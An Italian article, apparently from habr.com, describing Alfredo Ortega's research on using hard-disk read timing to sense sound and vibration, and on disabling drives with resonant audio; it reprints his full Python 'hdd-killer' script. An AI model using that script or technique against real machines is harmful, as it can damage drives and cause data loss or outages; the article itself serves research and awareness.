Perché non dovresti urlare contro il tuo HDD

Perché non dovresti urlare contro il tuo HDD

Alla conferenza sulla sicurezza informatica Ekoparty 2017 a Buenos Aires, l'hacker argentino Alfredo Ortega ha mostrato uno sviluppo molto interessante: un sistema per intercettare segretamente i locali senza l'utilizzo di un microfono. Suono registrato direttamente sul disco rigido!

L'HDD capta principalmente suoni a bassa frequenza ad alta intensità, passi e altre vibrazioni. Il linguaggio umano non può ancora essere riconosciuto, sebbene gli scienziati stanno conducendo ricerche in questa direzione (riconoscimento vocale mediante vibrazioni a bassa frequenza, registrate, ad esempio, da un giroscopio o da un HDD).

Il suono è la vibrazione dell'aria o di un altro mezzo. Una persona li percepisce attraverso il timpano, che trasmette le vibrazioni all'orecchio interno. Il microfono è progettato più o meno come un orecchio: anche qui le vibrazioni vengono registrate da una sottile membrana che eccita un impulso elettrico. Naturalmente il disco rigido è soggetto anche a vibrazioni microscopiche dovute alle fluttuazioni dell'aria circostante. Lo si sa anche dalle caratteristiche tecniche degli HDD: i produttori di solito indicano il livello di vibrazione massimo consentito e il disco rigido stesso spesso cerca di inserirlo in un contenitore resistente alle vibrazioni in gomma o altro materiale isolante. Da ciò è facile concludere che i suoni possono essere registrati utilizzando l'HDD. Non resta che capire come.

Alfredo Ortega ha proposto una versione unica di un attacco a canale laterale, vale a dire un attacco temporale. Questo attacco si basa sul presupposto che sul dispositivo vengano eseguite operazioni diverse in momenti diversi, a seconda dei dati di input forniti. In questo caso, i “dati di input” sono le vibrazioni della testina di lettura e del piatto dell'HDD, che sono correlate alle vibrazioni dell'ambiente, cioè al suono. Pertanto, misurando il tempo di calcolo ed eseguendo un'analisi statistica dei dati, è possibile misurare le vibrazioni della testina/piatto e quindi le vibrazioni del mezzo. Maggiore è il ritardo nella lettura dei dati, più forti saranno le vibrazioni dell'HDD e, quindi, più forte il suono.

Come misurare le vibrazioni del disco rigido? Molto semplice: basta eseguire la chiamata di sistema read () - e registra il tempo necessario per il completamento. I moderni sistemi operativi consentono di leggere i tempi delle chiamate di sistema con una precisione al nanosecondo.

La velocità di lettura delle informazioni da un settore dipende dalla posizione della testina e del piatto, che è correlata alle vibrazioni del case dell'HDD. È tutto.

L'analisi statistica viene eseguita utilizzando una semplice utility Kscope. Come si suol dire, tutto ciò che è geniale è semplice.

Perché non dovresti urlare contro il tuo HDD
Utilità Kscope (chiamata di sistema stat())

Kscope è una piccola utility per visualizzare piccole differenze nei tempi di esecuzione delle chiamate di sistema. Fontepubblicato su GitHub.

In un repository separato Tempo dell'HDD esiste una versione dell'utilità configurata per un time attack sul disco rigido, ovvero configurata per analizzare la chiamata di sistema read ().

Dimostrazione della registrazione del suono tramite HDD, funzionamento dell'utilità Kscope


Naturalmente il parlato non può essere compreso in questo modo, ma l'HDD è molto adatto come sensore di vibrazioni. Ad esempio, puoi registrare se una persona che indossa scarpe rigide o è a piedi nudi è entrata in una stanza con un computer (probabilmente, se l'aggressore indossa scarpe da ginnastica morbide o c'è un tappeto spesso sul pavimento, l'HDD non sarà in grado di registrare le vibrazioni - vale la pena verificarlo). Il computer è in grado di registrare vetri rotti o altri incidenti con forte intensità sonora. Cioè, il disco rigido può fungere da sorta di sistema di rilevamento delle intrusioni non autorizzate.

Assassino dell'HDD

A proposito, una tecnica simile può essere utilizzata per disabilitare i dischi rigidi. Solo qui non rimuoviamo le oscillazioni dall'HDD, ma al contrario generiamo oscillazioni che vengono alimentate all'HDD. Se si riproduce l'audio da un altoparlante a una frequenza che risuona con la frequenza dell'HDD, il sistema spegne presto il dispositivo con un errore I/O (il kernel Linux spegne completamente l'HDD dopo 120 secondi). Il disco rigido stesso potrebbe subire danni irreversibili.

Perché non dovresti urlare contro il tuo HDD
Il kernel Linux ha spento il disco rigido dopo 120 secondi di riproduzione del suono a una frequenza di risonanza attraverso l'altoparlante dell'altoparlante USB Edifier r19u. L'altoparlante si accende a circa un quarto della potenza (meno di 100 mW) e si trova a 20 cm dall'HDD, rivolto verso il tavolo per potenziare le vibrazioni. Fotogramma da Film con una dimostrazione dell'HDD killer

È curioso che tali "attacchi" agli HDD a volte avvengano completamente per caso nella vita di tutti i giorni. Ad esempio, nel settembre 2016, il data center della ING Bank è stato costretto a sospendere le operazioni per 10 ore dopo un’esercitazione antincendio. Decine di dischi rigidi sono guasti a causa del forte rumore prodotto dal gas inerte rilasciato dalle bombole ad alta pressione. Il suono era molto forte (più di 130 dB), ma non puoi nemmeno gridare ai dischi rigidi: questo aumenta il ritardo nell'accesso all'HDD.

Dimostrazione di urla umane davanti ai dischi rigidi di un data center. Misurazione della latenza


Per generare il suono risonante, Alfredo Ortega ha scritto uno script Python chiamato killer del disco rigido (dimostrazione video).

Script killer dell'HDD È piuttosto piccolo, quindi puoi pubblicarlo integralmente qui.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Fonte: habr.com

Aggiungi un commento